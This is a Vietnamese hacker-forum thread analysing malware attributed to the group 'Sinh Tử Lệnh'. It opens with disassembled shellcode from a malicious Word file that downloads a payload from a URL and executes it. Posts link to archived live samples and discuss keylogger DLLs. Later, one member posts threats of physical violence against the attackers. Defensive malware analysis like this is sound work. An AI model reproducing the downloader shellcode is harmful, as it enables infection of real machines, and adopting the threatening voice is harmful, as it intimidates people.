debug008:00148FCB  658 mov     ebx, [eax+ebx*4]
debug008:00148FCE  658 add     ebx, ebp
debug008:00148FD0  658 jmp     short @@BuildAPIAddress
debug008:00148FD0
debug008:00148FD2      ; ---------------------------------------------------------------------------
debug008:00148FD2
debug008:00148FD2      @@NextName:                             ; CODE XREF: ShellcodeProc+425j
debug008:00148FD2                                              ; ShellcodeProc+42Ej
debug008:00148FD2                                              ; ShellcodeProc+437j
debug008:00148FD2                                              ; ShellcodeProc+43Fj
debug008:00148FD2  658 add     esi, 4
debug008:00148FD5  658 inc     edx
debug008:00148FD6  658 cmp     edx, [edi+14h]
debug008:00148FD9  658 jnz     short @@IsGetProcAddress
debug008:00148FD9
debug008:00148FDB
debug008:00148FDB      @@BuildAPIAddress:                      ; CODE XREF: ShellcodeProc+454j
debug008:00148FDB  658 pop     edx
debug008:00148FDC  654 pop     ebp
debug008:00148FDD  650 pop     esi
debug008:00148FDE  64C pop     edi
debug008:00148FDF  648 xor     eax, eax
debug008:00148FE1  648 mov     [ebp+GetProcAddress], ebx
debug008:00148FE7  648 lea     eax, [ebp+szRtlZeroMemory]
debug008:00148FED  648 push    eax
debug008:00148FEE  64C push    [ebp+hKernel32]
debug008:00148FF4  650 call    [ebp+GetProcAddress]
debug008:00148FF4
debug008:00148FFA  650 cmp     eax, 0
debug008:00148FFD  650 jz      @@Terminate
debug008:00148FFD
debug008:00149003  650 mov     [ebp+RtlZeroMemory], eax
debug008:00149009  650 lea     eax, [ebp+szLoadLibraryA]
debug008:0014900F  650 push    eax
debug008:00149010  654 push    [ebp+hKernel32]
debug008:00149016  658 call    [ebp+GetProcAddress]
debug008:00149016
debug008:0014901C  658 mov     [ebp+LoadLibraryA], eax
debug008:00149022  658 lea     eax, [ebp+szUrlmon.dll]
debug008:00149028  658 push    eax
debug008:00149029  65C call    [ebp+LoadLibraryA]
debug008:00149029
debug008:0014902F  65C cmp     eax, 0
debug008:00149032  65C jz      @@Terminate
debug008:00149032
debug008:00149038  65C mov     [ebp+hUrlmon.dll], eax
debug008:0014903E  65C lea     eax, [ebp+szURLDownloadToFile]
debug008:00149044  65C push    eax
debug008:00149045  660 push    [ebp+hUrlmon.dll]
debug008:0014904B  664 call    [ebp+GetProcAddress]
debug008:0014904B
debug008:00149051  664 cmp     eax, 0
debug008:00149054  664 jz      @@Terminate
debug008:00149054
debug008:0014905A  664 mov     [ebp+URLDownloadToFile], eax
debug008:00149060  664 lea     eax, [ebp+szGetTempPathW]
debug008:00149066  664 push    eax
debug008:00149067  668 push    [ebp+hKernel32]
debug008:0014906D  66C call    [ebp+GetProcAddress]
debug008:0014906D
debug008:00149073  66C cmp     eax, 0
debug008:00149076  66C jz      @@Terminate
debug008:00149076
debug008:0014907C  66C mov     [ebp+GetTempPathW], eax
debug008:00149082  66C lea     eax, [ebp+szGetTempFileNameW]
debug008:00149088  66C push    eax
debug008:00149089  670 push    [ebp+hKernel32]
debug008:0014908F  674 call    [ebp+GetProcAddress]
debug008:0014908F
debug008:00149095  674 cmp     eax, 0
debug008:00149098  674 jz      @@Terminate
debug008:00149098
debug008:0014909E  674 mov     [ebp+GetTempFileNameW], eax
debug008:001490A4  674 lea     ebx, [ebp+szTempDir]
debug008:001490AA  674 push    ebx
debug008:001490AB  678 push    104h
debug008:001490B0  67C call    [ebp+GetTempPathW]
debug008:001490B0
debug008:001490B6  67C push    ebx
debug008:001490B7  680 push    0
debug008:001490B9  684 push    0
debug008:001490BB  688 push    ebx
debug008:001490BC  68C call    [ebp+GetTempFileNameW]
debug008:001490BC
debug008:001490C2  68C sub     esp, 1000h
debug008:001490C8  168C push    0
debug008:001490CA  1690 push    0
debug008:001490CC  1694 lea     ebx, [ebp+szTempDir]
debug008:001490D2  1694 push    ebx
debug008:001490D3  1698 lea     ebx, [ebp+szURL]
debug008:001490D9  1698 push    ebx
debug008:001490DA  169C push    0
debug008:001490DC  16A0 call    [ebp+URLDownloadToFile]
debug008:001490DC
debug008:001490E2  16A0 add     esp, 1000h
debug008:001490E8  6A0 cmp     eax, 0
debug008:001490EB  6A0 jnz     @@Terminate
debug008:001490EB
debug008:001490F1  6A0 mov     [ebp+szCreateProcessW], 'aerC'
debug008:001490FB  6A0 mov     [ebp+var_3D8], 'rPet'
debug008:00149105  6A0 mov     [ebp+var_3D4], 'seco'
debug008:0014910F  6A0 mov     [ebp+var_3D0], 'Ws'
debug008:00149118  6A0 mov     [ebp+var_3CE], 0
debug008:0014911F  6A0 mov     [ebp+CreateProcessW], 0
debug008:00149129  6A0 lea     eax, [ebp+szCreateProcessW]
debug008:0014912F  6A0 push    eax
debug008:00149130  6A4 push    [ebp+hKernel32]
debug008:00149136  6A8 call    [ebp+GetProcAddress]
debug008:00149136
debug008:0014913C  6A8 cmp     eax, 0
debug008:0014913F  6A8 jz      short @@Terminate
debug008:0014913F
debug008:00149141  6A8 mov     [ebp+CreateProcessW], eax
debug008:00149147  6A8 push    44h
debug008:00149149  6AC lea     eax, [ebp+buffer1]
debug008:0014914F  6AC push    eax
debug008:00149150  6B0 call    [ebp+RtlZeroMemory]
debug008:00149150
debug008:00149156  6B0 mov     eax, 44h
debug008:0014915B  6B0 mov     [ebp+buffer1], eax
debug008:00149161  6B0 push    10h
debug008:00149163  6B4 lea     eax, [ebp+buffer2]
debug008:00149169  6B4 push    eax
debug008:0014916A  6B8 call    [ebp+RtlZeroMemory]
debug008:0014916A
debug008:00149170  6B8 lea     eax, [ebp+buffer2]
debug008:00149176  6B8 push    eax
debug008:00149177  6BC lea     eax, [ebp+buffer1]
debug008:0014917D  6BC push    eax
debug008:0014917E  6C0 push    0
debug008:00149180  6C4 push    0
debug008:00149182  6C8 push    0
debug008:00149184  6CC push    0
debug008:00149186  6D0 push    0
debug008:00149188  6D4 push    0
debug008:0014918A  6D8 push    0
debug008:0014918C  6DC lea     eax, [ebp+szTempDir]
debug008:00149192  6DC push    eax
debug008:00149193  6E0 call    [ebp+CreateProcessW]
debug008:00149193
debug008:00149199
debug008:00149199      @@Terminate:                            ; CODE XREF: ShellcodeProc+481j
debug008:00149199                                              ; ShellcodeProc+4B6j
debug008:00149199                                              ; ShellcodeProc+4D8j
debug008:00149199                                              ; ShellcodeProc+4FAj
debug008:00149199                                              ; ShellcodeProc+51Cj
debug008:00149199                                              ; ShellcodeProc+56Fj
debug008:00149199                                              ; ShellcodeProc+5C3j
debug008:00149199  6E0 mov     [ebp+szTerminateProcess], 'mreT'
debug008:001491A3  6E0 mov     [ebp+var_464], 'tani'
debug008:001491AD  6E0 mov     [ebp+var_460], 'orPe'
debug008:001491B7  6E0 mov     [ebp+var_45C], 'ssec'
debug008:001491C1  6E0 mov     [ebp+var_458], 0
debug008:001491C8  6E0 lea     eax, [ebp+szTerminateProcess]
debug008:001491CE  6E0 push    eax
debug008:001491CF  6E4 push    [ebp+hKernel32]
debug008:001491D5  6E8 call    [ebp+GetProcAddress]
debug008:001491D5
debug008:001491DB  6E8 push    0
debug008:001491DD  6EC push    0FFFFFFFFh
debug008:001491DF  6F0 call    eax
debug008:001491DF
debug008:001491E1  6F0 retn


Thôi em tạm nghỉ đây, lúc khác em sẽ post tiếp về các keylog và bot của STL.
Toàn bộ hình ảnh ở trên, file virus.doc và virus.exe, IDA 5.5 database, em post ở đây: http://www.mediafire.com/?ydsa6auc6v1asxj
Password=malware
Các file đã up virus.doc.bin và virus.exe em đã xoá, năm trong file HVAPost.rar hết.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 23/05/2011 16:19:39 (+0700) | #11 | 237698
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
Bài phân tích rất đã. Cám ơn TQN. Anh đã thay thể hình trên imagehacks với hình upload thẳng lên HVA để khỏi sợ mất hình minh hoạ.

PS: em đang "vẽ đường cho hưu chạy"... rông hay chạy vô tròng vậy? smilie
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 23/05/2011 16:33:17 (+0700) | #12 | 237699
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Cảm ơn anh conmale. Câu PS của anh em không hiểu. Nhưng nếu cho tụi này vô tròng được thì em cũng cố gắng. Tụi này chơi bẩn, hù doạ thiên hạ, em ghét.
Em chuẩn bị đi rồi. Ngoài nhà máy cũng có Internet nhưng không có bộ tool em đang dùng, nên về topic RCE keylog và botnet của STL em tạm dừng lại. Vào đây rồi làm tiếp.
Em up lên mediafile 2 keylog của STL mà em có được: http://www.mediafire.com/?ubbeuryp38jc7qk.
Password như cũ: malware.
Anh em nào có IDA 5.5 trở lên có thể tiếp tục phân tích.
2 file keylog này tới nay KAV của em vẫn không detect ra. Điều này chứng tỏ điều gì, các anh em suy nghĩ thử ?????
Các keylog và bot của STL đều có chung đặc điểm là:
1. Code = Visual C++ đời mới 2008, 2010
2. Dùng PE Compact để compress dll, exe file. (Nói nhỏ nhé: PE Compact nhét watermark về user trong file compacted đấy. Tiêu tụi mày rồi, nhưng nếu tui mày xài PE Compact cờ rắc thì em thua).
3. Export fake API COM DLL: DllCanUnloadNow, DllGetClassObject, DllRegisterServer, DllUnregisterServer. Các hàm này đa số đều return FALSE, chỉ 1 vài hàm làm công việc chính: keylog, inject...

Em sẽ post tool để detect PE private info như: Date compile, source directory, compiler&linker version, MS Rich information lên sau. Tool này chỉ private share, có thể khi detect ra nó đụng chạm nhiều lắm.

Phân tích các keylog này các bạn sẽ xác định được host của STL mà các keylog up key data lên. Tụi này dùng thuật toán mã hoá để mã hoác các URL string bèo lắm (lại sorry mấy đại ca STL nhé, em có gì sai sót bỏ qua nhé, đừng hại em !!!???).
PS: Khách đâu mà lắm thế ???
Nếu hồi đó máy em có install Firewall xịn thì chắc đã không bị dính đòn tụi này rồi. Mấy lần install Comodo rồi lại uninstall ra, thấy nặng thêm máy, phiền phức quá.
Kinh nghiệm rút ra: Không tin bất cứ file gì download về, phải scan, RCE, forrensic trước.

Còn một vấn đề nữa, em nói luôn, nhờ ai đó giỏi tiếng Anh hay anh conmale gởi giùm file .doc đó cho MS để họ kiểm tra và fix bug (nếu có). Chứ em mà gởi thì tụi MS bò ra mà đọc tiếng Anh cùi của em, cười bể bụng thì sao. Rồi đám STL nhảy vào la làng mày cướp công của tao !!!???
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 23/05/2011 17:40:38 (+0700) | #13 | 237704
[Avatar]
minhhath
Member

[Minus]    0    [Plus]
Joined: 22/11/2010 10:03:38
Messages: 91
Location: Team unknow
Offline
[Profile] [PM]
bài viết của anh hay lắm.em thì mê mấy vụ này lắm nhưng khổ nổi gần thi tốt nghiệp ra trường không có time timg hiểu nhiều,nhưng khi rảnh em sẻ ngâm cứu tiếp.đúng là không uổng công em tham gia thành viên,em hiểu biết nhiều hơn ở havonline này.em mến yêu havonlina
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 24/05/2011 05:38:47 (+0700) | #14 | 237727
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]
Và.... email gởi cái word doc đó đi từ đây:




Cũng là santrex.net (đã đề cập nhiều lần trong chủ đề "Vài thông tin về nhóm STL" trong mục "Các chủ đề khác") smilie.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 24/05/2011 07:02:54 (+0700) | #15 | 237730
[Avatar]
maithangbs
Elite Member

[Minus]    0    [Plus]
Joined: 28/11/2007 21:39:53
Messages: 567
Location: Д.и.Р
Offline
[Profile] [PM] [Email] [Yahoo!]

conmale wrote:
Bài phân tích rất đã. Cám ơn TQN. Anh đã thay thể hình trên imagehacks với hình upload thẳng lên HVA để khỏi sợ mất hình minh hoạ.

PS: em đang "vẽ đường cho hưu chạy"... rông hay chạy vô tròng vậy? smilie  

Sao chả thấy hình đâu cả, bác conmale ơi?
Edit: Giờ mới thấy smilie
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 24/05/2011 10:06:57 (+0700) | #16 | 237741
alakay
Member

[Minus]    0    [Plus]
Joined: 17/07/2010 11:13:54
Messages: 56
Offline
[Profile] [PM]
Anh quanta cho biết các câu lện thực hiện đựoc không, hi hi smilie.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 24/05/2011 10:13:28 (+0700) | #17 | 237745
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]

alakay wrote:
Anh quanta cho biết các câu lện thực hiện đựoc không, hi hi smilie

Lệnh gì bạn? Mình "nghịch" cho biết vậy thôi chứ cái này chưa đủ trình để ngâm cứu.
Let's build on a great foundation!
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 24/05/2011 10:16:35 (+0700) | #18 | 237747
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Phong cách code của STL coder là pure C & API, không và rất ít dùng C++, C++ library... Cấp phát local buffer trên stack thiệt bự để khỏi overwrite. Các bạn thử RCE hai DLL keylog của STL sẽ thấy. Cái này có ai thấy quen quen không ha ?
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 24/05/2011 10:20:47 (+0700) | #19 | 237748
alakay
Member

[Minus]    0    [Plus]
Joined: 17/07/2010 11:13:54
Messages: 56
Offline
[Profile] [PM]

quanta wrote:

alakay wrote:
Anh quanta cho biết các câu lện thực hiện đựoc không, hi hi smilie

Lệnh gì bạn? Mình "nghịch" cho biết vậy thôi chứ cái này chưa đủ trình để ngâm cứu. 


Thì các câu lệnh giải nén, objdump ...
em sợ làm o đúng lại bị dính chưởng smilie.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 24/05/2011 11:08:58 (+0700) | #20 | 237755
[Avatar]
xnohat
Moderator

Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
[Profile] [PM] [Email] [WWW] [Yahoo!] [MSN]

alakay wrote:

Thì các câu lệnh giải nén, objdump ...
em sợ làm o đúng lại bị dính chưởng smilie


Sợ dính chưởng thì làm trên Máy ảo hoặc... nghỉ làm

@TQN: bài phân tích quá đã, đọc sáng ra nhiều điều về Reverse ( mặc dù tớ là dân ngoại đạo về Reverse )
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 25/05/2011 08:11:08 (+0700) | #21 | 237825
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Anh em nào đã, đang phân tích 2 file .dll keylog của STL mà em up lên mediafire ?
Được gì thì post lên cho mọi người thảo luận cho đông vui, mình em độc diển buồn lắm.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 25/05/2011 13:13:48 (+0700) | #22 | 237847
[Avatar]
quanta
Moderator

Joined: 28/07/2006 14:44:21
Messages: 7265
Location: $ locate `whoami`
Offline
[Profile] [PM]
Mình đang "quậy" trên Linux với: ghex2, okteta, bvi, xxd, objcopy, objdump, ... và đang thắc mắc ở một chỗ: sau khi copy đoạn hex từ 0xEE8D4 tới 0xEEF39, tạo ngược lại file .bin, sau đó không chuyển thành .exe mà lại thành .elf rồi load vào Evan's Debugger (http://www.codef00.com/projects) thì liệu mình vẫn có thể debug ra URL kia được không?
Let's build on a great foundation!
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 25/05/2011 15:32:35 (+0700) | #23 | 237860
[Avatar]
gsmth
Elite Member

[Minus]    0    [Plus]
Joined: 15/02/2007 13:25:36
Messages: 749
Offline
[Profile] [PM] [WWW] [Yahoo!]

quanta wrote:
Mình đang "quậy" trên Linux với: ghex2, okteta, bvi, xxd, objcopy, objdump, ... và đang thắc mắc ở một chỗ: sau khi copy đoạn hex từ 0xEE8D4 tới 0xEEF39, tạo ngược lại file .bin, sau đó không chuyển thành .exe mà lại thành .elf rồi load vào Evan's Debugger http://www.codef00.com/projects) thì liệu mình vẫn có thể debug ra URL kia được không? 


Về bản chất thì được, bởi vì đoạn shellcode được viết bằng mã máy mà smilie
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 25/05/2011 21:28:32 (+0700) | #24 | 237875
[Avatar]
chube
Member

[Minus]    0    [Plus]
Joined: 22/10/2010 02:34:04
Messages: 105
Location: ░░▒▒▓▓██
Offline
[Profile] [PM]
góp chút gạo hihi :
- File HARDKBD.dll hồi 21/01/2011 được post lên virscan với result là 2 AV phát hiện :
AntiVir : TR/Agent.RI.2
Dr Web: BackDoor.Trojan
- Mới up vừa nãy thì chỉ còn 1 Dr Web còn detect.
- Theo ThreatExpert
(http://www.threatexpert.com/report.aspx?md5=fa9bfec1cbdbfec643021bf6bd943034)
thì file HARDKBD.dll là file sinh ra do keygen maker for VMWare ( theo link bên trên) sinh ra cùng các file khác ( không biết có liên quan gì với file HARDKBD ở trên hay không vì cùng 13x KB)
- như anh TQN đề cập, Entry Point bắt đầu với opcode 8BFF , mov edi,edi ==> 1 function prolog và theo ( http://www.openrce.org/forums/posts/470 ) thì prolog này cung cấp 5 byte tại start address, lí do thì để nguyên văn :
...........
"...Five because that's the length of a "JMP XXXXXXXX", so those functions can be hotpatched without need to disassemble their prolog to figure out how many bytes need to be saved
Anything wanting to hotpatch a function with such prolog can just override those first 5 known bytes "MOV EDI, EDI" and "PUSH EBP", jump elsewhere and jump back to the instruction starting in the 6th byte after issuing a "PUSH EBP"

And very silly, but just in case you wonder why the "MOV EDI, EDI" that and not a NOP NOP sequence... it's simple, it's just one instruction as oposed to 2."
..........

Và để biết thêm 1 số thông tin khác --> ( http://blogs.msdn.com/b/ishai/archive/2004/06/24/165143.aspx ) sory vì tiếng anh em kém hihi
- file DLL kia em scan với PE Detective với result : PECompact v2.x --> bitsum technologies và bị avi chém
- file DLL này scan với CFF dc 4 option: File is excutable , File is dll và 32 bit word machine và NX Compatible ( NX bit là gì thì vào đây : http://en.wikipedia.org/wiki/NX_bit)
- View Header Info - > Magic : PE 32 , Time Date Stamp : 03/05/2010 8:34:43

Pointer Raw Data trỏ đến resource table là file xml:
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><application xmlns="urn:schemas-microsoft-com:asm.v3"><windowsSettings><ms_windowsSettings:dpiAware xmlns:ms_windowsSettings="http://schemas.microsoft.com/SMI/2005/WindowsSettings

- Import table xài 6 dll : user32,shlwapi,shell32,psaapi,kernel32,advapi32 gồm cac function và procedure xoay quanh các chức năng làm việc với Thread, Process, pointer read/write file và Heap
CreateRemoteThread
GetCurrentProcess:
HeapSize
HeapFreeze
HeapReAlloc
GetProcessHeap
Sleep
GetLocalTime 'GetLocalTime
Thread
GetSetTickCount
ReadWrite File
Write process memory
Encode pointer
Decode pointer..vv

- View string thì em thấy 1 loạt các kí tự a-z cả hoa lẫn thường và các kí hiệu đặc biệt của bàn phím và locale các nước và thực hiện 1 số thao tác với các file services.exe, logonui, explorer và logon.exe...
- đợi anh diễn tiếp, ko biết anh có kế hoạch gì trước khi post lên ngần này thông tin chưa hihi


">
.-/ / )
|/ / /
/.' /
// .---.
/ .--._\ Awesome Season to hack :') Dont you think so? xD
/ `--' /
/ .---'
/ .'
/
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 02:03:44 (+0700) | #25 | 237891
sangteamtham
Member

[Minus]    0    [Plus]
Joined: 13/11/2008 18:34:26
Messages: 27
Location: Việt Nam
Offline
[Profile] [PM]
Bài viết sâu sắc. Nhưng không thấy hình ảnh gì cả. Làm ơn check lại giùm. Thanks
Một sự việc và hàng tỉ cái đầu
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 15:30:17 (+0700) | #26 | 237939
TQN
Elite Member

[Minus]    0    [Plus]
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
[Profile] [PM] [WWW] [Yahoo!]
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.

Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé !
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 16:06:11 (+0700) | #27 | 237942
[Avatar]
vikjava
Elite Member

[Minus]    0    [Plus]
Joined: 28/06/2004 02:32:38
Messages: 926
Location: NQN
Offline
[Profile] [PM]
Hi anh,

Vụ việc như thế nào mà anh nóng giận thế. Bớt nóng anh, làm vài lon ken cho hạ hoả
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 16:23:44 (+0700) | #28 | 237944
PXMMRF
Administrator

Joined: 26/09/2002 07:17:55
Messages: 946
Offline
[Profile] [PM]

TQN wrote:
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.

Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé ! 



(6) Đúng như vậy! Biết được username và password của người nào đó để vào đươc website của một ngân hàng Việt nam, thí dụ Vietcombank, thì chỉ biết được các thông tin sau:

- Số tài khoản mà người đó đang dùng và đã từng dùng
- Số dư trên tài khoản và giá trị có thể giao dịch trong số dư
- Số lần và giá trị giao dịch mà chủ tài khoản đã thực hiện thời gian vừa qua
Còn việc rút tiền (lấy cắp tiền) ra từ tài khoản thì không thể.

Vì muốn rút tiền ra từ tài khoản, người rút phải làm 1 form xin rút tiền, ký tên vào form và trình cho ngân hàng giấy chứng minh hơp lệ. Nhân viên ngân hàng thường xem kỹ CMND và kiểm tra đối chiếu rất kỹ chữ ký trên form và chữ ký lưu tại ngân hàng (khi mở tài khoản). Chưa kể các nhân viên ngân hàng thường đã rất quen mặt khách hàng (do đã tiếp xúc nhiều lần)

Vì thế việc lấy đươc username và pass. vào website ngân hàng, chỉ giống như đến đươc chân núi Everest mà thôi.

Ở công ty tôi, khi đi công tác xa (nơi không có mạng Internet hay 3G), tôi thường nhờ một số anh em trong cơ quan kiểm tra hộ tài khoản cho mình.
Công việc và giao dịch của TQN là hoàn toàn hợp pháp nên chẳng có gí phải quan tâm. Vả lai xin ngân hàng lai username mới và pass. mới là dễ dàng.

(7) Theo chỗ mình biết thì chính quyền ta không để cho STL dưa lưng đâu. Những việc làm manh đông và không hợp pháp (vi phạm quyền công dân) thì chẳng ai muốn dính vào đâu.
Nhưng một chính quyền khác hay một thế lực khác (không phải "ta") thì rất có thể, (vì có những lý do của việc đó)
The absence of disagreement is not harmony, it's apathy.
(Socrates)
Honest disagreement is often a good sign of progress.
(Mahatma Gandhi)
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 16:52:38 (+0700) | #29 | 237946
[Avatar]
conmale
Administrator

Joined: 07/05/2004 23:43:15
Messages: 9353
Location: down under
Offline
[Profile] [PM]

TQN wrote:
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.

Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé ! 


Hì hì, bình tĩnh em. Những ai ký tên STL kia ít ra cũng đã làm cho em điên tiết lên vì những tiểu xảo ngôn ngữ. Bởi vậy, đừng mất bình tĩnh trước tiểu xảo ngôn ngữ bởi vì những thứ đó không có mấy giá trị. Vả lại, chính bọn họ đã sử dụng quá nhiều "tiểu xảo ngôn ngữ" từ đầu đến cuối rồi, có gì mới mẻ đâu? smilie

Hãy dùng khoa học và kỹ thuật để chứng minh sự thật và tạo điều kiện để mọi người tham gia thảo luận một cách chuyên môn và bổ ích. Những việc làm này nằm ở vị trí hoàn toàn khác với những công việc ăn cắp và sử dụng tiểu xảo ngôn ngữ.
What bringing us together is stronger than what pulling us apart.
[Up] [Print Copy]
  [Analyzing]   RCE đám virus của Sinh Tử Lệnh. 26/05/2011 17:40:40 (+0700) | #30 | 237947
[Avatar]
gamma95
Researcher

Joined: 20/05/2003 07:15:41
Messages: 1377
Location: aaa&quot;&gt;
Offline
[Profile] [PM] [ICQ]

TQN wrote:
Gởi tụi STL:
1. Tụi mày lớn hơn tao không mà xưng anh với tao ?
2. Tụi mày chơi trò quá bẩn, núp trong bóng tối, chơi trò ăn cắp pass bao nhiêu lâu rồi mà không thấy xấu hổ à.
3. Tụi mày tưởng hù doạ được tao à. Tao chỉ cần biết một thằng ngoài đời của tụi bây là thằng đó mất xác, khỏi đi tìm.
4. Mấy cái pass cho mấy cái forum, mail vớ vẫn ấy, tao PM cho tui bây cũng được, mất cái này tao tạo cái khác, tên tuổi của tao TQN thì dưới bất cứ nick gì vẫn là TQN.
5. Tui mày chơi bẩn, đợi tao đi xa mới dám tấn công à ?
6. Tui mày tưởng vào được cái xxxbank của tao là giỏi à ? Tụi mày vào đó chỉ xem được chi tiết giao dịch rút, chuyển tiền của tao chứ làm chó gì được. Muốn rút tiền của tao à ? Còn lâu, chữ ký, đt, CMND của tao không có thì đố tụi mày rút tiền được. Vậy mà còn nói dóc, vào rồi ra, để đức cho con cháu. Một ngày làm của tao bằng 10 tháng lương của 10 thằng làm ăn lương hèn hạ của tụi mày.

